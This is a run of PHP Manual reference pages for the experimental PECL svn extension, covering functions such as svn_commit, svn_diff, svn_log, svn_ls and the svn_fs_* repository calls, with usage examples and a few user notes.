  • Recursively cleanup a working copy directory, finishing incomplete operations and removing locks

svn_cleanup

(PECL svn >= 0.1.0)

svn_cleanup — Recursively cleanup a working copy directory, finishing incomplete operations and removing locks

Description

bool svn_cleanup ( string $workingdir )

Recursively cleanup working copy directory workingdir, finishing any incomplete operations and removing working copy locks. Use when a working copy is in limbo and needs to be usable again.

Parameters

workingdir

String path to local working directory to cleanup

Note: Relative paths will be resolved as if the current working directory was the one that contains the PHP binary. To use the calling script's working directory, use realpath() or dirname(__FILE__).

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Examples

Example #1 Basic example

This example demonstrates clean up of a working copy in a directory named help-me:

<?php
svn_cleanup(realpath('help-me'));
?>

The realpath() call is necessary due to SVN's quirky handling of relative paths.

See Also

  • update()
  • » SVN documentation on svn cleanup

User Contributed Notes

There are no user contributed notes for this page.


Returns the version of the SVN client libraries

  • « svn_cleanup
  • svn_commit »
  • PHP Manual
  • SVN Functions
  • Returns the version of the SVN client libraries

svn_client_version

(PECL svn >= 0.1.0)

svn_client_version — Returns the version of the SVN client libraries

Description

string svn_client_version ( void )

Returns the version of the SVN client libraries

Return Values

String version number, usually in form of x.y.z.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Examples

Example #1 Basic example

<?php
echo svn_client_version();
?>

The above example will output something similar to:

1.3.1

User Contributed Notes

There are no user contributed notes for this page.


Sends changes from the local working copy to the repository

  • « svn_client_version
  • svn_delete »
  • PHP Manual
  • SVN Functions
  • Sends changes from the local working copy to the repository

svn_commit

(PECL svn >= 0.1.0)

svn_commit — Sends changes from the local working copy to the repository

Description

array svn_commit ( string $log , array $targets [, bool $recursive = true ] )

Commits changes made in the local working copy files enumerated in the targets array to the repository, with the log message log. Directories in the targets array will be recursively committed unless recursive is set to FALSE.

Note: This function does not have any parameters for specifying authentication, so a username and password must be set using svn_auth_set_parameter()

Parameters

log

String log text to commit

targets

Array of local paths of files to be committed

Warning

This parameter must be an array, a string for a single target is not acceptable.

Note: Relative paths will be resolved as if the current working directory was the one that contains the PHP binary. To use the calling script's working directory, use realpath() or dirname(__FILE__).

recursive

Boolean flag to disable recursive committing of directories in the targets array. Default is TRUE.

Return Values

Returns array in form of:

array(
    0 => integer revision number of commit
    1 => string ISO 8601 date and time of commit
    2 => name of committer
)

Returns FALSE on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Examples

Example #1 Basic example

This example commits the calculator directory to a repository, using the username Bob and the password abc123 (hopefully, his password is stronger):

<?php
svn_auth_set_parameter(SVN_AUTH_PARAM_DEFAULT_USERNAME, 'Bob');
svn_auth_set_parameter(SVN_AUTH_PARAM_DEFAULT_PASSWORD, 'abc123');
var_dump(svn_commit('Log message of Bob\'s commit', array(realpath('calculator'))));
?>

The above example will output:

array(
  0 => 1415,
  1 => '2007-05-26T01:44:28.453125Z',
  2 => 'Bob'
)

See Also

  • svn_auth_set_parameter() - Sets an authentication parameter
  • » SVN documentation on svn commit

User Contributed Notes

There are no user contributed notes for this page.


Delete items from a working copy or repository.

  • « svn_commit
  • svn_diff »
  • PHP Manual
  • SVN Functions
  • Delete items from a working copy or repository.

svn_delete

(PECL svn >= 0.4.0)

svn_delete — Delete items from a working copy or repository.

Description

bool svn_delete ( string $path [, bool $force = false ] )

Deletes the file, directory or symbolic link at path from the working directory. The item will be deleted from the repository the next time you call svn_commit() on the working copy.

Parameters

path

Path of item to delete.

Note: Relative paths will be resolved as if the current working directory was the one that contains the PHP binary. To use the calling script's working directory, use realpath() or dirname(__FILE__).

force

If TRUE, the file will be deleted even if it has local modifications. Otherwise, local modifications will result in a failure. Default is FALSE

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

See Also

  • » SVN documentation on svn delete

User Contributed Notes

There are no user contributed notes for this page.


Recursively diffs two paths

  • « svn_delete
  • svn_export »
  • PHP Manual
  • SVN Functions
  • Recursively diffs two paths

svn_diff

(PECL svn >= 0.1.0)

svn_diff — Recursively diffs two paths

Description

array svn_diff ( string $path1 , int $rev1 , string $path2 , int $rev2 )

Recursively diffs two paths, path1 and path2.

Note:

This is not a general-purpose diff utility. Only local files that are versioned may be diffed: other files will fail.

Parameters

path1

First path to diff. This can be a URL to a file/directory in an SVN repository or a local file/directory path.

Note: Relative paths will be resolved as if the current working directory was the one that contains the PHP binary. To use the calling script's working directory, use realpath() or dirname(__FILE__).

Warning

If a local file path has only backslashes and no forward slashes, this extension will fail to find the path. Always replace all backslashes with forward slashes when using this function.

rev1

First path's revision number. Use SVN_REVISION_HEAD to specify the most recent revision.

path2

Second path to diff. See path1 for description.

rev2

Second path's revision number. See rev1 for description.

Return Values

Returns an array-list consisting of two streams: the first is the diff output and the second contains error stream output. The streams can be read using fread(). Returns FALSE or NULL on error.

The diff output will, by default, be in the form of Subversion's custom unified diff format, but an » external diff engine may be used depending on Subversion's configuration.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Examples

Example #1 Basic example

This example demonstrates the basic usage of this function, and the retrieval of contents from the stream:

<?php
list($diff, $errors) = svn_diff(
    'http://www.example.com/svnroot/trunk/foo', SVN_REVISION_HEAD,
    'http://www.example.com/svnroot/branches/dev/foo', SVN_REVISION_HEAD
);
if (!$diff) exit;
$contents = '';
while (!feof($diff)) {
  $contents .= fread($diff, 8192);
}
fclose($diff);
fclose($errors);
var_dump($contents);
?>

The above example will output:

Index: http://www.example.com/svnroot/trunk/foo
===================================================================
--- http://www.example.com/svnroot/trunk/foo        (.../foo) (revision 23)
+++ http://www.example.com/svnroot/branches/dev/foo (.../foo) (revision 27)
 // further diff output

Example #2 Diffing two revisions of a repository path

This example implements a wrapper function that allows a user to easily diff two revisions of the same item using an external repository path (the default syntax is somewhat verbose):

<?php
function svn_diff_same_item($path, $rev1, $rev2) {
    return svn_diff($path, $rev1, $path, $rev2);
}
?>

Example #3 Portably diffing two local files

This example implements a wrapper function that portably diffs two local files, compensating for the realpath() fix and the backslashes bug:

<?php
function svn_diff_local($path1, $rev1, $path2, $rev2) {
    $path1 = str_replace('\\', '/', realpath($path1));
    $path2 = str_replace('\\', '/', realpath($path2));
    return svn_diff($path1, $rev1, $path2, $rev2);
}
?>

See Also

  • » SVN documentation on svn diff

User Contributed Notes

There are no user contributed notes for this page.


Export the contents of a SVN directory

  • « svn_diff
  • svn_fs_abort_txn »
  • PHP Manual
  • SVN Functions
  • Export the contents of a SVN directory

svn_export

(PECL svn >= 0.3.0)

svn_export — Export the contents of a SVN directory

Description

bool svn_export ( string $frompath , string $topath [, bool $working_copy = true [, int $revision_no = -1 ]] )

Export the contents of either a working copy or repository into a 'clean' directory.

Parameters

frompath

The path to the current repository.

topath

The path to the new repository.

working_copy

If TRUE, it will export uncommitted files from the working copy.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 svn_export() example

<?php
$working_dir     = '../';
$new_working_dir = '/home/user/devel/foo/trunk';

svn_export($working_dir, $new_working_dir);
?>

See Also

  • svn_import() - Imports an unversioned path into a repository

User Contributed Notes

Magnum 22-Sep-2014 06:56
To checkout a single file at a particular version use svn_cat .
cleung at draper dot com 31-May-2011 05:15
This functionality is very different from the actual command line svn export url [-rRevision]

If you are thinking about checkout out a single file at a particular version, keep looking because this export can not perform that functionality.


Abort a transaction, returns true if everything is okay, false otherwise

  • « svn_export
  • svn_fs_apply_text »
  • PHP Manual
  • SVN Functions
  • Abort a transaction, returns true if everything is okay, false otherwise

svn_fs_abort_txn

(PECL svn >= 0.2.0)

svn_fs_abort_txn — Abort a transaction, returns true if everything is okay, false otherwise

Description

bool svn_fs_abort_txn ( resource $txn )
Warning

This function is currently not documented; only its argument list is available.

Abort a transaction, returns true if everything is okay, false otherwise

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Creates and returns a stream that will be used to replace

  • « svn_fs_abort_txn
  • svn_fs_begin_txn2 »
  • PHP Manual
  • SVN Functions
  • Creates and returns a stream that will be used to replace

svn_fs_apply_text

(PECL svn >= 0.2.0)

svn_fs_apply_text — Creates and returns a stream that will be used to replace

Description

resource svn_fs_apply_text ( resource $root , string $path )
Warning

This function is currently not documented; only its argument list is available.

Creates and returns a stream that will be used to replace

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Create a new transaction

  • « svn_fs_apply_text
  • svn_fs_change_node_prop »
  • PHP Manual
  • SVN Functions
  • Create a new transaction

svn_fs_begin_txn2

(PECL svn >= 0.2.0)

svn_fs_begin_txn2 — Create a new transaction

Description

resource svn_fs_begin_txn2 ( resource $repos , int $rev )
Warning

This function is currently not documented; only its argument list is available.

Create a new transaction

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Return true if everything is ok, false otherwise

  • « svn_fs_begin_txn2
  • svn_fs_check_path »
  • PHP Manual
  • SVN Functions
  • Return true if everything is ok, false otherwise

svn_fs_change_node_prop

(PECL svn >= 0.2.0)

svn_fs_change_node_prop — Return true if everything is ok, false otherwise

Description

bool svn_fs_change_node_prop ( resource $root , string $path , string $name , string $value )
Warning

This function is currently not documented; only its argument list is available.

Return true if everything is ok, false otherwise

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Determines what kind of item lives at path in a given repository fsroot

  • « svn_fs_change_node_prop
  • svn_fs_contents_changed »
  • PHP Manual
  • SVN Functions
  • Determines what kind of item lives at path in a given repository fsroot

svn_fs_check_path

(PECL svn >= 0.1.0)

svn_fs_check_path — Determines what kind of item lives at path in a given repository fsroot

Description

int svn_fs_check_path ( resource $fsroot , string $path )
Warning

This function is currently not documented; only its argument list is available.

Determines what kind of item lives at path in a given repository fsroot

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Return true if content is different, false otherwise

  • « svn_fs_check_path
  • svn_fs_copy »
  • PHP Manual
  • SVN Functions
  • Return true if content is different, false otherwise

svn_fs_contents_changed

(PECL svn >= 0.2.0)

svn_fs_contents_changed — Return true if content is different, false otherwise

Description

bool svn_fs_contents_changed ( resource $root1 , string $path1 , resource $root2 , string $path2 )
Warning

This function is currently not documented; only its argument list is available.

Return true if content is different, false otherwise

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Copies a file or a directory, returns true if all is ok, false otherwise

  • « svn_fs_contents_changed
  • svn_fs_delete »
  • PHP Manual
  • SVN Functions
  • Copies a file or a directory, returns true if all is ok, false otherwise

svn_fs_copy

(PECL svn >= 0.2.0)

svn_fs_copy — Copies a file or a directory, returns true if all is ok, false otherwise

Description

bool svn_fs_copy ( resource $from_root , string $from_path , resource $to_root , string $to_path )
Warning

This function is currently not documented; only its argument list is available.

Copies a file or a directory, returns true if all is ok, false otherwise

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Deletes a file or a directory, return true if all is ok, false otherwise

  • « svn_fs_copy
  • svn_fs_dir_entries »
  • PHP Manual
  • SVN Functions
  • Deletes a file or a directory, return true if all is ok, false otherwise

svn_fs_delete

(PECL svn >= 0.2.0)

svn_fs_delete — Deletes a file or a directory, return true if all is ok, false otherwise

Description

bool svn_fs_delete ( resource $root , string $path )
Warning

This function is currently not documented; only its argument list is available.

Deletes a file or a directory, return true if all is ok, false otherwise

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Enumerates the directory entries under path; returns a hash of dir names to file type

  • « svn_fs_delete
  • svn_fs_file_contents »
  • PHP Manual
  • SVN Functions
  • Enumerates the directory entries under path; returns a hash of dir names to file type

svn_fs_dir_entries

(PECL svn >= 0.1.0)

svn_fs_dir_entries — Enumerates the directory entries under path; returns a hash of dir names to file type

Description

array svn_fs_dir_entries ( resource $fsroot , string $path )
Warning

This function is currently not documented; only its argument list is available.

Enumerates the directory entries under path; returns a hash of dir names to file type

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

qwazix at outofbounds dot gr 08-Feb-2011 04:05
Here is a function that returns an array with the directories in the root of the HEAD revision of a repository, using only the path of the repository.
<?php
    function get_repo_dirs($path){
        if (file_exists($path.'/format'))
        if ($repo = svn_repos_open($path))
        if ($repo_fs = svn_repos_fs($repo))
        if ($head = svn_fs_youngest_rev($repo_fs))
        if ($repo_fs_root = svn_fs_revision_root($repo_fs,$head))
        return array_keys(svn_fs_dir_entries($repo_fs_root,'.'));
        else return false;
    }
?>

example usage

<?php
    var_dump (get_repo_dirs('/home/user/svnrepos/example_project'));
?>


Returns a stream to access the contents of a file from a given version of the fs

  • « svn_fs_dir_entries
  • svn_fs_file_length »
  • PHP Manual
  • SVN Functions
  • Returns a stream to access the contents of a file from a given version of the fs

svn_fs_file_contents

(PECL svn >= 0.1.0)

svn_fs_file_contents — Returns a stream to access the contents of a file from a given version of the fs

Description

resource svn_fs_file_contents ( resource $fsroot , string $path )
Warning

This function is currently not documented; only its argument list is available.

Returns a stream to access the contents of a file from a given version of the fs

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Returns the length of a file from a given version of the fs

  • « svn_fs_file_contents
  • svn_fs_is_dir »
  • PHP Manual
  • SVN Functions
  • Returns the length of a file from a given version of the fs

svn_fs_file_length

(PECL svn >= 0.1.0)

svn_fs_file_length — Returns the length of a file from a given version of the fs

Description

int svn_fs_file_length ( resource $fsroot , string $path )
Warning

This function is currently not documented; only its argument list is available.

Returns the length of a file from a given version of the fs

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Return true if the path points to a directory, false otherwise

  • « svn_fs_file_length
  • svn_fs_is_file »
  • PHP Manual
  • SVN Functions
  • Return true if the path points to a directory, false otherwise

svn_fs_is_dir

(PECL svn >= 0.2.0)

svn_fs_is_dir — Return true if the path points to a directory, false otherwise

Description

bool svn_fs_is_dir ( resource $root , string $path )
Warning

This function is currently not documented; only its argument list is available.

Return true if the path points to a directory, false otherwise

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Return true if the path points to a file, false otherwise

  • « svn_fs_is_dir
  • svn_fs_make_dir »
  • PHP Manual
  • SVN Functions
  • Return true if the path points to a file, false otherwise

svn_fs_is_file

(PECL svn >= 0.2.0)

svn_fs_is_file — Return true if the path points to a file, false otherwise

Description

bool svn_fs_is_file ( resource $root , string $path )
Warning

This function is currently not documented; only its argument list is available.

Return true if the path points to a file, false otherwise

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

ytcheng at qq dot com 19-Dec-2010 05:16
<?php
    $repos = svn_repos_open($this->sourceRoot);
    $fs = svn_repos_fs($repos);
    $head = svn_fs_youngest_rev($fs);
    $fsroot = svn_fs_revision_root($fs,$head);
    echo svn_fs_is_file($fsroot,$path);
?>


Creates a new empty directory, returns true if all is ok, false otherwise

  • « svn_fs_is_file
  • svn_fs_make_file »
  • PHP Manual
  • SVN Functions
  • Creates a new empty directory, returns true if all is ok, false otherwise

svn_fs_make_dir

(PECL svn >= 0.2.0)

svn_fs_make_dir — Creates a new empty directory, returns true if all is ok, false otherwise

Description

bool svn_fs_make_dir ( resource $root , string $path )
Warning

This function is currently not documented; only its argument list is available.

Creates a new empty directory, returns true if all is ok, false otherwise

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Creates a new empty file, returns true if all is ok, false otherwise

  • « svn_fs_make_dir
  • svn_fs_node_created_rev »
  • PHP Manual
  • SVN Functions
  • Creates a new empty file, returns true if all is ok, false otherwise

svn_fs_make_file

(PECL svn >= 0.2.0)

svn_fs_make_file — Creates a new empty file, returns true if all is ok, false otherwise

Description

bool svn_fs_make_file ( resource $root , string $path )
Warning

This function is currently not documented; only its argument list is available.

Creates a new empty file, returns true if all is ok, false otherwise

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Returns the revision in which path under fsroot was created

  • « svn_fs_make_file
  • svn_fs_node_prop »
  • PHP Manual
  • SVN Functions
  • Returns the revision in which path under fsroot was created

svn_fs_node_created_rev

(PECL svn >= 0.1.0)

svn_fs_node_created_rev — Returns the revision in which path under fsroot was created

Description

int svn_fs_node_created_rev ( resource $fsroot , string $path )
Warning

This function is currently not documented; only its argument list is available.

Returns the revision in which path under fsroot was created

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Returns the value of a property for a node

  • « svn_fs_node_created_rev
  • svn_fs_props_changed »
  • PHP Manual
  • SVN Functions
  • Returns the value of a property for a node

svn_fs_node_prop

(PECL svn >= 0.1.0)

svn_fs_node_prop — Returns the value of a property for a node

Description

string svn_fs_node_prop ( resource $fsroot , string $path , string $propname )
Warning

This function is currently not documented; only its argument list is available.

Returns the value of a property for a node

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Return true if props are different, false otherwise

  • « svn_fs_node_prop
  • svn_fs_revision_prop »
  • PHP Manual
  • SVN Functions
  • Return true if props are different, false otherwise

svn_fs_props_changed

(PECL svn >= 0.2.0)

svn_fs_props_changed — Return true if props are different, false otherwise

Description

bool svn_fs_props_changed ( resource $root1 , string $path1 , resource $root2 , string $path2 )
Warning

This function is currently not documented; only its argument list is available.

Return true if props are different, false otherwise

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Fetches the value of a named property

  • « svn_fs_props_changed
  • svn_fs_revision_root »
  • PHP Manual
  • SVN Functions
  • Fetches the value of a named property

svn_fs_revision_prop

(PECL svn >= 0.1.0)

svn_fs_revision_prop — Fetches the value of a named property

Description

string svn_fs_revision_prop ( resource $fs , int $revnum , string $propname )
Warning

This function is currently not documented; only its argument list is available.

Fetches the value of a named property

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Get a handle on a specific version of the repository root

  • « svn_fs_revision_prop
  • svn_fs_txn_root »
  • PHP Manual
  • SVN Functions
  • Get a handle on a specific version of the repository root

svn_fs_revision_root

(PECL svn >= 0.1.0)

svn_fs_revision_root — Get a handle on a specific version of the repository root

Description

resource svn_fs_revision_root ( resource $fs , int $revnum )
Warning

This function is currently not documented; only its argument list is available.

Get a handle on a specific version of the repository root

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Creates and returns a transaction root

  • « svn_fs_revision_root
  • svn_fs_youngest_rev »
  • PHP Manual
  • SVN Functions
  • Creates and returns a transaction root

svn_fs_txn_root

(PECL svn >= 0.2.0)

svn_fs_txn_root — Creates and returns a transaction root

Description

resource svn_fs_txn_root ( resource $txn )
Warning

This function is currently not documented; only its argument list is available.

Creates and returns a transaction root

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of the youngest revision in the filesystem

  • « svn_fs_txn_root
  • svn_import »
  • PHP Manual
  • SVN Functions
  • Returns the number of the youngest revision in the filesystem

svn_fs_youngest_rev

(PECL svn >= 0.1.0)

svn_fs_youngest_rev — Returns the number of the youngest revision in the filesystem

Description

int svn_fs_youngest_rev ( resource $fs )
Warning

This function is currently not documented; only its argument list is available.

Returns the number of the youngest revision in the filesystem

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Imports an unversioned path into a repository

  • « svn_fs_youngest_rev
  • svn_log »
  • PHP Manual
  • SVN Functions
  • Imports an unversioned path into a repository

svn_import

(PECL svn >= 0.2.0)

svn_import — Imports an unversioned path into a repository

Description

bool svn_import ( string $path , string $url , bool $nonrecursive )

Commits unversioned path into repository at url. If path is a directory and nonrecursive is FALSE, the directory will be imported recursively.

Parameters

path

Path of file or directory to import.

Note: Relative paths will be resolved as if the current working directory was the one that contains the PHP binary. To use the calling script's working directory, use realpath() or dirname(__FILE__).

url

Repository URL to import into.

nonrecursive

Whether or not to refrain from recursively processing directories.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Examples

Example #1 Basic example

This example demonstrates a basic use-case of this function. To import a directory named new-files into the repository at http://www.example.com/svnroot/incoming/abc, use:

<?php
svn_import(realpath('new-files'), 'http://www.example.com/svnroot/incoming/abc', false);
?>

See Also

  • svn_add() - Schedules the addition of an item in a working directory
  • » SVN documentation for svn import

User Contributed Notes

There are no user contributed notes for this page.


Returns the commit log messages of a repository URL

  • « svn_import
  • svn_ls »
  • PHP Manual
  • SVN Functions
  • Returns the commit log messages of a repository URL

svn_log

(PECL svn >= 0.1.0)

svn_log — Returns the commit log messages of a repository URL

Description

array svn_log ( string $repos_url [, int $start_revision [, int $end_revision [, int $limit = 0 [, int $flags = SVN_DISCOVER_CHANGED_PATHS | SVN_STOP_ON_COPY ]]]] )

svn_log() returns the complete history of the item at the repository URL repos_url, or the history of a specific revision if start_revision is set. This function is equivalent to svn log --verbose -r $start_revision $repos_url.

Parameters

repos_url

Repository URL of the item to retrieve log history from.

start_revision

Revision number of the first log to retrieve. Use SVN_REVISION_HEAD to retrieve the log from the most recent revision.

end_revision

Revision number of the last log to retrieve. Defaults to start_revision if specified or to SVN_REVISION_INITIAL otherwise.

limit

Number of logs to retrieve.

flags

Any combination of SVN_OMIT_MESSAGES, SVN_DISCOVER_CHANGED_PATHS and SVN_STOP_ON_COPY.

Return Values

On success, this function returns an array file listing in the format of:

[0] => Array, ordered most recent (highest) revision first
(
    [rev] => integer revision number
    [author] => string author name
    [msg] => string log message
    [date] => string date formatted per ISO 8601, i.e. date('c')
    [paths] => Array, describing changed files
        (
            [0] => Array
                (
                    [action] => string letter signifying change
                    [path] =>  absolute repository path of changed file
                )
            [1] => ...
        )
)
[1] => ...

Note:

The output will always be a numerically indexed array of arrays, even when there are none or only one log message(s).

The value of action is a subset of the » status output in the first column, where possible values are:

Actions
Letter | Description
M | Item/props was modified
A | Item was added
D | Item was deleted
R | Item was replaced

If no changes were made to the item, an empty array is returned.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Examples

Example #1 svn_log() example

<?php
print_r( svn_log('http://www.example.com/', 23) );
?>

The above example will output something similar to:

Array
(
    [0] => Array
    (
        [rev] => 23
        [author] => 'joe'
        [msg] => 'Add cheese and salami to our sandwich.'
        [date] => '2007-04-06T16:00:27-04:00'
        [paths] => Array
            (
                [0] => Array
                    (
                        [action] => 'M'
                        [path] =>  '/sandwich.txt'
                    )
            )
    )
)

See Also

  • » SVN documentation on svn log

User Contributed Notes

php dot net at gnur dot nl 09-Jun-2011 11:42
Please not that using svn_log without giving revisions is much, much slower then with revisions. Examples:

$ time php -r "svn_log('http://localhost/svn/shopadsl');"

real    0m2.140s
user    0m0.140s
sys     0m0.000s

VS

$ time php -r "svn_log('http://localhost/svn/shopadsl', 0, 45);"

real    0m0.063s
user    0m0.024s
sys     0m0.016s


Returns list of directory contents in repository URL, optionally at revision number

  • « svn_log
  • svn_mkdir »
  • PHP Manual
  • SVN Functions
  • Returns list of directory contents in repository URL, optionally at revision number

svn_ls

(PECL svn >= 0.1.0)

svn_ls — Returns list of directory contents in repository URL, optionally at revision number

Description

array svn_ls ( string $repos_url [, int $revision_no = SVN_REVISION_HEAD [, bool $recurse = false [, bool $peg = false ]]] )

This function queries the repository URL and returns a list of files and directories, optionally from a specific revision. This is equivalent to svn list $repos_url[@$revision_no]

Note:

This function does not work with working copies. repos_url must be a repository URL.

Parameters

url

URL of the repository, eg. http://www.example.com/svnroot. To access a local Subversion repository via filesystem, use the file URI scheme, eg. file:///home/user/svn-repos

revision

Integer revision number to retrieve listing of. When omitted, the HEAD revision is used.

recurse

Enables recursion.

Return Values

On success, this function returns an array file listing in the format of:

[0] => Array
    (
        [created_rev] => integer revision number of last edit
        [last_author] => string author name of last edit
        [size] => integer byte file size of file
        [time] => string date of last edit in form 'M d H:i'
                  or 'M d Y', depending on how old the file is
        [time_t] => integer unix timestamp of last edit
        [name] => name of file/directory
        [type] => type, can be 'file' or 'dir'
    )
[1] => ...

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Examples

Example #1 svn_ls() example

<?php
print_r( svn_ls('http://www.example.com/svnroot/') );
?>

The above example will output something similar to:

Array
(
    [0] => Array
        (
            [created_rev] => 20
            [last_author] => Joe
            [size] => 0
            [time] => Apr 02 09:28
            [time_t] => 1175520529
            [name] => tags
            [type] => dir
        )
    [1] => Array
        (
            [created_rev] => 23
            [last_author] => Bob
            [size] => 0
            [time] => Apr 02 15:15
            [time_t] => 1175541322
            [name] => trunk
            [type] => dir
        )
)

See Also

  • » SVN documentation on svn list

User Contributed Notes

php thereatthe bluedream dotty tv 12-May-2012 08:31
Be aware that the function will condition the path for you; do not do it yourself or you will have resulting errors.

Ex: that paths with spaces in them do NOT need the escaping slash
<?php
svn_ls('file:///var/svn/myrepo/dirA/another dir'); //will work->happiness
svn_ls('file:///var/svn/myrepo/dirA/another\ dir'); //will fail
?>
Warning: svn_ls(): svn error(s) occured 160013 (Filesystem has no item) URL 'file:///var/svn/myrepo/dirA/another\ dir' non-existent in that revision in file.php on line 42


Creates a directory in a working copy or repository

  • « svn_ls
  • svn_repos_create »
  • PHP Manual
  • SVN Functions
  • Creates a directory in a working copy or repository

svn_mkdir

(PECL svn >= 0.4.0)

svn_mkdir — Creates a directory in a working copy or repository

Description

bool svn_mkdir ( string $path [, string $log_message ] )

Creates a directory in a working copy or repository.

Parameters

path

The path to the working copy or repository.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • svn_add() - Schedules the addition of an item in a working directory
  • svn_copy()

User Contributed Notes

ckozler at ckozler dot net 15-Feb-2012 02:25
I would just like to note that there is either an error in the documentation or a bug in the code. When you run svn_mkdir it returns FALSE even on success. As an example you can do

<?php

var_dump( svn_mkdir( "/path/to/your/repo/mydir" ) );

?>

And youll see that the output is

bool(false)


Create a new subversion repository at path

  • « svn_mkdir
  • svn_repos_fs_begin_txn_for_commit »
  • PHP Manual
  • SVN Functions
  • Create a new subversion repository at path

svn_repos_create

(PECL svn >= 0.1.0)

svn_repos_create — Create a new subversion repository at path

Description

resource svn_repos_create ( string $path [, array $config [, array $fsconfig ]] )
Warning

This function is currently not documented; only its argument list is available.

Create a new subversion repository at path

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Create a new transaction

  • « svn_repos_create
  • svn_repos_fs_commit_txn »
  • PHP Manual
  • SVN Functions
  • Create a new transaction

svn_repos_fs_begin_txn_for_commit

(PECL svn >= 0.2.0)

svn_repos_fs_begin_txn_for_commit — Create a new transaction

Description

resource svn_repos_fs_begin_txn_for_commit ( resource $repos , int $rev , string $author , string $log_msg )
Warning

This function is currently not documented; only its argument list is available.

Create a new transaction

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Commits a transaction and returns the new revision

  • « svn_repos_fs_begin_txn_for_commit
  • svn_repos_fs »
  • PHP Manual
